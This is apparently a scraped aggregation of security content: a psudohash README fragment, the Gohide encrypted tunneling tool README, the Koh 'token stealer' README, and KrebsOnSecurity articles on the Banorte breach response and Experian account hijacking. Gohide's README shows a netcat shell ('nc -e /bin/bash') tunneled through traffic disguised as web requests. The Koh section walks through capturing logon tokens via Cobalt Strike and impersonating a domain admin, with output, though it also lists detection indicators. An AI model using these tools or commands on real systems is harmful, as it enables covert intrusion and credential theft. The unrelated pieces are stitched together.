1. Combining options --years and --append-numbering with a --numbering-limit ≥ last two digits of any year input, will most likely produce duplicate words because of the mutation patterns implemented by the tool.
2. If you add custom padding values and/or modify the predefined common padding values in the source code, in combination with multiple optional parameters, there is a small chance of duplicate words occurring. psudohash includes word filtering controls but for speed's sake, those are limited.

Future

I'm gathering information regarding commonly used password creation patterns to enhance the tool's capabilities.

CISA Warns of Hackers Exploiting Recent Zoho ManageEngine Vulnerability

Gohide - Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

• Session Cookie HTTP GET (http-client)
• Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
• WebSocket Handshake "Sec-WebSocket-Key" (websocket-client)
• WebSocket Handshake "Sec-WebSocket-Accept" (websocket-server)
• No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
  -f string
    	listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")
  -key openssl passwd -1 -salt ok | md5sum
    	aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
  -l string
    	listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")
  -m string
    	obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
  -pem string
    	path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")
  -r string
    	forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

Scenario

Box A - Reverse Handler.

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Box B - Target.

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server
Local Port Forward Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

Note: /etc/hosts "127.0.0.1 target.com"

Box B - Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A - Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu 
Active Internet connections (servers and established)
tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide      

Obfuscation Samples

websocket-client (Box A to Box B)

• Sec-WebSocket-Key contains AES-GCM encrypted content e.g. "uname -a".

GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

• Sec-WebSocket-Accept contains AES-GCM encrypted output.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

• Session cookie header contains AES-GCM encrypted content

GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

• Set-Cookie header contains AES-GCM encrypted content.

HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA

Future

• Fix up error handling.

Enjoy~

When Efforts to Contain a Data Breach Backfire

Earlier this month, the administrator of the cybercrime forum Breached received a cease-and-desist letter from a cybersecurity firm. The missive alleged that an auction on the site for data stolen from 10 million customers of Mexico’s second-largest bank was fake news and harming the bank’s reputation. The administrator responded to this empty threat by purchasing the stolen banking data and leaking it on the forum for everyone to download.

On August 3, 2022, someone using the alias “Holistic-K1ller” posted on Breached a thread selling data allegedly stolen from Grupo Financiero Banorte, Mexico’s second-biggest financial institution by total loans. Holistic-K1ller said the database included the full names, addresses, phone numbers, Mexican tax IDs (RFC), email addresses and balances on more than 10 million citizens.

There was no reason to believe Holistic-K1ller had fabricated their breach claim. This identity has been highly active on Breached and its predecessor RaidForums for more than two years, mostly selling databases from hacked Mexican entities. Last month, they sold customer information on 36 million customers of the Mexican phone company Telcel; in March, they sold 33,000 images of Mexican IDs — with the front picture and a selfie of each citizen. That same month, they also sold data on 1.4 million customers of Mexican lending platform Yotepresto.

But this history was either overlooked or ignored by Group-IB, the Singapore-based cybersecurity firm apparently hired by Banorte to help respond to the data breach.

“The Group-IB team has discovered a resource containing a fraudulent post offering to buy Grupo Financiero Banorte’s leaked databases,” reads a letter the Breach administrator said they received from Group-IB. “We ask you to remove this post containing Banorte data. Thank you for your cooperation and prompt attention to this urgent matter.”

The administrator of Breached is “Pompompurin,” the same individual who alerted this author in November 2021 to a glaring security hole in a U.S. Justice Department website that was used to spoof security alerts from the FBI. In a post to Breached on Aug. 8, Pompompurin said they bought the Banorte database from Holistic-K1ller’s sales thread because Group-IB was sending emails complaining about it.

“They also attempted to submit DMCA’s against the website,” Pompompurin wrote, referring to legal takedown requests under the Digital Millennium Copyright Act. “Make sure to tell Banorte that now they need to worry about the data being leaked instead of just being sold.”

Group-IB CEO Dmitriy Volkov said the company has seen some success in the past asking hackers to remove or take down certain information, but that making such requests is not a typical response for the security firm.

“It is not a common practice to send takedown notifications to such forums demanding that such content be removed,” Volkov said. “But these abuse letters are legally binding, which helps build a foundation for further steps taken by law enforcement agencies. Actions contrary to international rules in the regulated space of the Internet only lead to more severe crimes, which — as we know from the case of Raidforums — are successfully investigated and stopped by law enforcement.”

Banorte did not respond to requests for comment. But in a brief written statement picked up on Twitter, Banorte said there was no breach involving their infrastructure, and the data being sold is old.

“There has been no violation of our platforms and technological infrastructure,” Banorte said. “The set of information referred to is inaccurate and outdated, and does not put our users and customers at risk.”

That statement may be 100 percent true. Still, it is difficult to think of a better example of how not to do breach response. Banorte shrugging off this incident as a nothingburger is baffling: While it is almost certainly true that the bank balance information in the Banorte leak is now out of date, the rest of the information (tax IDs, phone numbers, email addresses) is harder to change.

“Is there one person from our community that think sending cease and desist letter to a hackers forum operator is a good idea?,” asked Ohad Zaidenberg, founder of CTI League, a volunteer emergency response community that emerged in 2020 to help fight COVID-19 related scams. “Who does it? Instead of helping, they pushed the organization from the hill.”

Kurt Seifried, director of IT for the CloudSecurityAlliance, was similarly perplexed by the response to the Banorte breach.

“If the data wasn’t real….did the bank think a cease and desist would result in the listing being removed?” Seifried wondered on Twitter. “I mean, isn’t selling breach data a worse crime usually than slander or libel? What was their thought process?”

A more typical response when a large bank suspects a breach is to approach the seller privately through an intermediary to ascertain if the information is valid and what it might cost to take it off the market. While it may seem odd to expect cybercriminals to make good on their claims to sell stolen data to only one party, removing sold stolen items from inventory is a fairly basic function of virtually all cybercriminal markets today (apart from perhaps sites that traffic in stolen identity data).

At a minimum, negotiating or simply engaging with a data seller can buy the victim organization additional time and clues with which to investigate the claim and ideally notify affected parties of a breach before the stolen data winds up online.

It is true that a large number of hacked databases put up for sale on the cybercrime underground are sold only after a small subset of in-the-know thieves have harvested all of the low-hanging fruit in the data — e.g., access to cryptocurrency accounts or user credentials that are recycled across multiple websites. And it’s certainly not unheard of for cybercriminals to go back on their word and re-sell or leak information that they have sold previously.

But companies in the throes of responding to a data security incident do themselves and customers no favors when they underestimate their adversaries, or try to intimidate cybercrooks with legal threats. Such responses generally accomplish nothing, except unnecessarily upping the stakes for everyone involved while displaying a dangerous naiveté about how the cybercrime underground works.

Update, Aug. 17, 10:32 a.m.: Thanks to a typo by this author, a request for comment sent to Group-IB was not delivered in advance of this story. The copy above has been updated to include a comment from Group-IB’s CEO.

A New Tractor Jailbreak Rides the Right-to-Repair Wave

Big Takeaways From the FBI's Mar-a-Lago Raid

Koh - The Token Stealer

Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.

Some code was inspired by Elad Shamir's Internal-Monologue project (no license), as well as KB180548. For why this is possible and Koh's approeach, see the Technical Background section of this README.

For a deeper explanation of the motivation behind Koh and its approach, see the Koh: The Token Stealer post.

@harmj0y is the primary author of this code base. @tifkin_ helped with the approach, BOF implementation, and some token mechanics.

Koh is licensed under the BSD 3-Clause license.

Koh Server

The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in Donut and injected into any high-integrity SYSTEM process (see The Inline Shenanigans Bug).

Compilation

We are not planning on releasing binaries for Koh, so you will have to compile yourself :)

Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The Koh.exe assembly and Koh.bin Donut-built PIC will be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at ./Misc/Donut.exe:

  [ Instance type : Embedded
  [ Entropy       : Random names + Encryption
  [ Compressed    : Xpress Huffman
  [ File type     : .NET EXE
  [ Parameters    : capture
  [ Target CPU    : x86+amd64
  [ AMSI/WDLP     : abort

Donut's license is BSD 3-clause.

Usage

Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]

• list - lists (non-network) logon sessions
• monitor - monitors for new/unique (non-network) logon sessions
• capture - captures one unique token per SID found for new (non-network) logon sessions

Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.

Example - Listing Logon Sessions

C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New    Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)

Example - Monitoring for Logon Sessions (with group SID filtering)

Only lists results that have the domain admins (-512) group SID in their token information:

C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: monitor

  [*] Starting server with named pipe: imposecost

  [*] Elevated to SYSTEM

  [*] Targeting group SIDs:
      S-1-5-21-937929760-3187473010-80948926-512

  [*] New Logon Session - 6/22/2022 2:52:17 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:52:17 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      Lo   gonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:52:17 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)

Koh Client

The current usable client is a Beacon Object File at .\Clients\BOF\. Load the .\Clients\BOF\KohClient.cna aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is SeImpersonatePrivilege. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).

To compile fresh on Linux using Mingw, see the .\Clients\BOF\build.sh script. The only requirement (on Debian at least) should be apt-get install gcc-mingw-w64

Usage

beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

Group SID Filtering

The koh filter add S-1-5-21-<DOMAIN>-<RID> command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.

Example - Capture

"Captures" logon sessions by negotiating usable tokens for each new session.

Server:

C:\Temp>Koh.exe capture

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: capture

  [*] Starting server with named pipe: imposecost

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:53:01 PM
      UserName              : THESHIRE\testuser
      LUID                  : 207990196
      LogonType             : Interactive
      AuthPackage           : Kerberos
      User SID              : S-1-5-21-937929760-3187473010-80948926-1119
      Credential UserName   : testuser@THESHIRE.LOCAL
      Origin LUID           : 1677733 (0x1999a5)

      [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)


  [*] New Logon Session - 6/22/2022 2:53:01    PM
      UserName              : THESHIRE\DA
      LUID                  : 81492692
      LogonType             : Interactive
      AuthPackage           : Negotiate
      User SID              : S-1-5-21-937929760-3187473010-80948926-1145
      Credential UserName   : da@THESHIRE.LOCAL
      Origin LUID           : 1677765 (0x1999c5)

      [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)


  [*] New Logon Session - 6/22/2022 2:53:01 PM
      UserName              : THESHIRE\harmj0y
      LUID                  : 1677733
      LogonType             : Interactive
      AuthPackage           : Kerberos
      User SID              : S-1-5-21-937929760-3187473010-80948926-1104
      Credential UserName   : harmj0y@THESHIRE.LOCAL
      Origin LUID           : 999 (0x3e7)

      [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)

BOF client:

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:

Username     : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID         : 67556826
CaptureTime  : 6/21/2022 1:24:42 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : localadmin@THESHIRE.LOCAL
Origin LUID  : 1676720

Username     : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID         : 67568439
CaptureTime  : 6/21/2022 1:24:50 PM
LogonType       : Interactive
AuthPackage  : Negotiate
CredUserName : da@THESHIRE.LOCAL
Origin LUID  : 1677765

Username     : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID         : 1677733
CaptureTime  : 6/21/2022 1:23:10 PM
LogonType    : Interactive
AuthPackage  : Kerberos
CredUserName : harmj0y@THESHIRE.LOCAL
Origin LUID  : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
[*] Enabled    SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
 Volume in drive \\dc.theshire.local\C$ has no label.
 Volume Serial Number is A4FF-7240

 Directory of \\dc.theshire.local\C$

01/04/2021  11:43 AM    <DIR>          inetpub
05/30/2019  03:08 PM    <DIR>          Pe   rfLogs
05/18/2022  01:27 PM    <DIR>          Program Files
04/15/2021  09:44 AM    <DIR>          Program Files (x86)
03/20/2020  12:28 PM    <DIR>          RBFG
10/20/2021  01:14 PM    <DIR>          Temp
05/23/2022  06:30 PM    <DIR>          tools
03/11/2022  04:10 PM    <DIR>          Users
06/21/2022  01:30 PM    <DIR>          Windows
               0 File(s)              0 bytes
               9 Dir(s)  40,504,201,216 bytes free

Technical Background

When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by the caller of LsaLogonUser(). This increases the ReferenceCount field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the Why This Is Possible section, Windows systems will NOT release a logon session if a token handle still exists to it (and therefore the reference count != 0).

So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains.

Why This Is Possible

According to this post by a Microsoft engineer:

After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

MS16-111 was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems.

Approach

Enumerating logon sessions is easy (from an elevated context) through the use of the LsaEnumerateLogonSessions() Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and somehow getting a usable token linked to that session.

Possible Approaches

We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials.

1. The first approach was to use NtCreateToken() which allows you to specify a logon session ID (LUID) to create a new token.
   • Unfortunately, you need SeCreateTokenPrivilege which is traditionally only held by LSASS, meaning you need to steal LSASS' token which isn't ideal.
   • One possibility was to add SeCreateTokenPrivilege to NT AUTHORITY\SYSTEM via LSA policy modification, but this would need a reboot/new logon session to express the new user rights.
2. You can also focus on just RemoteInteractive logon sessions by using WTSQueryUserToken() to get tokens for new desktop sessions to clone.
   • This is the approach apparently demonstrated by Ryan.
   • Unfortunately this misses newly created local sessions and incoming sessions created from things like PSEXEC.
3. On a new logon session, open up a handle to every reachable process and enumerate all existing handles, cloning the token linked to the new logon session.
   • This requires opening up lots of processes/handles, which looks very suspicious.
4. The AcquireCredentialsHandle()/InitializeSecurityContext()/AcceptSecurityContext() approach described below, which is what we went with.

Our Approach

The SSPI AcquireCredentialsHandle() call has a pvLogonID field which states:

A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

Note: In order to utilize a logon session LUID with AcquireCredentialsHandle() you need SeTcbPrivilege, however this is usually easier to get than SeCreateTokenPrivilege.

Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? WTSQueryUserToken() only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token.

However we can use two additional SSPI functions, InitializeSecurityContext() and AcceptSecurityContext() to act as client and server to ourselves, negotiating a new security context that we can then use with QuerySecurityContextToken() to get a usable token. This was documented in KB180548 (mirrored by PKISolutions here) for the purposes of credential validation. This is a similar approach to Internal-Monologue, except we are completing the entire handshake process, producing a token, and then holding that for later use.

Filtering can then be done on the token itself, via CheckTokenMembership() or GetTokenInformation(). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target.

Advantages/Disadvantages Versus Traditional Credential Extraction

Advantages

• Works for both local and inbound (non-network) logons.
• Works for inbound sessions created via Kerberos and NTLM.
• Doesn’t require opening up a handle to multiple processes.
• Doesn't create a new logon event or logon session.
• Doesn't create additional event logs on the DC outside of normal system ticket renewal behavior (I don't think?)
• No default lifetime on the tokens (I don't think?) so access should work as long as the captured account’s credentials don't change and the system doesn’t reboot.
• Reuses legitimate captured auth on a system, so should "blend with the noise" reasonably well.

Disadvantages

• Access is only usable as long as the system doesn't reboot.
• Doesn't let you reuse access on other systems
  • However, and existing ticket/credential extraction can still be done on the leaked logon session.
• May cause instability if a large number of sessions are leaked (though this can be mitigated with token group SID filtering) and restricting the maximum number of captured tokens (default of 1000 here).

The Inline Shenanigans Bug

I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol.

• When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly.

• If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with execute-assembly from an elevated (but non-SYSTEM) context, everything works properly.

• If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly.

• However If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with SEC_E_NO_CREDENTIALS and everything fails ¯\_(ツ)_/¯

We have tried (with no success):

• Spinning off everything to a separate thread, specifying a STA thread apartment.
• Trying to diagnose RPC weirdness (still more to investigate here).
• Using DuplicateTokenEx and SetThreadToken instead of ImpersonateLoggedOnUser.
• Checking if we have the proper SeTcbPrivilege right before the AcquireCredentialsHandle call (we do).

For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. And we have no idea why.

If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the AcquireCredentialsHandle repo on my GitHub for troubleshooting.

IOCs

To quote @tifkin_ "Everything is stealthy until someone is looking for it." While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it.

The unique TypeLib GUID for the C# Koh collector is 4d5350c8-7f8c-47cf-8cde-c752018af17e as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server.

When the Koh server starts is opens up a named pipe called \\.\pipe\imposecost that stays open as long as Koh is running. The default password used for Koh communication is password, so sending password list to any \\.\pipe\imposecost pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is \\.pipe\imposingcost.

If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of winlogon is performed to perform a getsystem type elevation.

I'm sure that no attackers will change the indicators mentioned above.

There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh (LsaEnumerateLogonSessions or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in AcquireCredentialsHandle) could be explored for effectiveness, but alas, I am not an EDR.

TODO

• Additional testing in the lab and field. Possible concerns:
  • Stability in production environments, specifically intentional token leakage causing issues on highly-trafficked servers
  • Total actual effective token lifetime
• "Remote" client that allows for monitoring through the Koh named pipe remotely
• Implement more clients (PowerShell, C#, C++, etc.)
• Fix the Inline Shenanigans Bug

Experian, You Have Some Explaining to Do

Twice in the past month KrebsOnSecurity has heard from readers who had their accounts at big-three credit bureau Experian hacked and updated with a new email address that wasn’t theirs. In both cases the readers used password managers to select strong, unique passwords for their Experian accounts. Research suggests identity thieves were able to hijack the accounts simply by signing up for new accounts at Experian using the victim’s personal information and a different email address.

John Turner is a software engineer based in Salt Lake City. Turner said he created the account at Experian in 2020 to place a security freeze on his credit file, and that he used a password manager to select and store a strong, unique password for his Experian account.

Turner said that in early June 2022 he received an email from Experian saying the email address on his account had been changed. Experian’s password reset process was useless at that point because any password reset links would be sent to the new (impostor’s) email address.

An Experian support person Turner reached via phone after a lengthy hold time asked for his Social Security Number (SSN) and date of birth, as well as his account PIN and answers to his secret questions. But the PIN and secret questions had already been changed by whoever re-signed up as him at Experian.

“I was able to answer the credit report questions successfully, which authenticated me to their system,” Turner said. “At that point, the representative read me the current stored security questions and PIN, and they were definitely not things I would have used.”

Turner said he was able to regain control over his Experian account by creating a new account. But now he’s wondering what else he could do to prevent another account compromise.

“The most frustrating part of this whole thing is that I received multiple ‘here’s your login information’ emails later that I attributed to the original attackers coming back and attempting to use the ‘forgot email/username’ flow, likely using my SSN and DOB, but it didn’t go to their email that they were expecting,” Turner said. “Given that Experian doesn’t support two-factor authentication of any kind — and that I don’t know how they were able to get access to my account in the first place — I’ve felt very helpless ever since.”

Arthur Rishi is a musician and co-executive director of the Boston Landmarks Orchestra. Rishi said he recently discovered his Experian account had been hijacked after receiving an alert from his credit monitoring service (not Experian’s) that someone had tried to open an account in his name at JPMorgan Chase.

Rishi said the alert surprised him because his credit file at Experian was frozen at the time, and Experian did not notify him about any activity on his account. Rishi said Chase agreed to cancel the unauthorized account application, and even rescinded its credit inquiry (each credit pull can ding your credit score slightly).

But he never could get anyone from Experian’s support to answer the phone, despite spending what seemed like eternity trying to progress through the company’s phone-based system. That’s when Rishi decided to see if he could create a new account for himself at Experian.

“I was able to open a new account at Experian starting from scratch, using my SSN, date of birth and answering some really basic questions, like what kind of car did you take out a loan for, or what city did you used to live in,’ Rishi said.

Upon completing the sign-up, Rishi noticed that his credit was unfrozen.

Like Turner, Rishi is now worried that identity thieves will just hijack his Experian account once more, and that there is nothing he can do to prevent such a scenario. For now, Rishi has decided to pay Experian $25.99 a month to more closely monitor his account for suspicious activity. Even using the paid Experian service, there were no additional multi-factor authentication options available, although he said Experian did send a one-time code to his phone via SMS recently when he logged on.

“Experian now sometimes does require MFA for me if I use a new browser or have my VPN on,” Rishi said, but he’s not sure if Experian’s free service would have operated differently.

“I get so angry when I think about all this,” he said. “I have no confidence this won’t happen again.”

In a written statement, Experian suggested that what happened to Rishi and Turner was not a normal occurrence, and that its security and identity verification practices extend beyond what is visible to the user.

“We believe these are isolated incidents of fraud using stolen consumer information,” Experian’s statement reads. “Specific to your question, once an Experian account is created, if someone attempts to create a second Experian account, our systems will notify the original email on file.”

“We go beyond reliance on personally identifiable information (PII) or a consumer’s ability to answer knowledge-based authentication questions to access our systems,” the statement continues. “We do not disclose additional processes for obvious security reasons; however, our data and analytical capabilities verify identity elements across multiple data sources and are not visible to the consumer. This is designed to create a more positive experience for our consumers and to provide additional layers of protection. We take consumer privacy and security seriously, and we continually review our security processes to guard against constant and evolving threats posed by fraudsters.”

ANALYSIS

KrebsOnSecurity sought to replicate Turner and Rishi’s experience — to see if Experian would allow me to re-create my account using my personal information but a different email address. The experiment was done from a different computer and Internet address than the one that created the original account years ago.

After providing my Social Security Number (SSN), date of birth, and answering several multiple choice questions whose answers are derived almost entirely from public records, Experian promptly changed the email address associated with my credit file. It did so without first confirming that new email address could respond to messages, or that the previous email address approved the change.

Experian’s system then sent an automated message to the original email address on file, saying the account’s email address had been changed. The only recourse Experian offered in the alert was to sign in, or send an email to an Experian inbox that replies with the message, “this email address is no longer monitored.”

After that, Experian prompted me to select new secret questions and answers, as well as a new account PIN — effectively erasing the account’s previously chosen PIN and recovery questions. Once I’d changed the PIN and security questions, Experian’s site helpfully reminded me that I have a security freeze on file, and would I like to remove or temporarily lift the security freeze?

To be clear, Experian does have a business unit that sells one-time password services to businesses. While Experian’s system did ask for a mobile number when I signed up a second time, at no time did that number receive a notification from Experian. Also, I could see no option in my account to enable multi-factor authentication for all logins.

How does Experian differ from the practices of Equifax and TransUnion, the other two big consumer credit reporting bureaus? When KrebsOnSecurity tried to re-create an existing account at TransUnion using my Social Security number, TransUnion rejected the application, noting that I already had an account and prompting me to proceed through its lost password flow. The company also appears to send an email to the address on file asking to validate account changes.

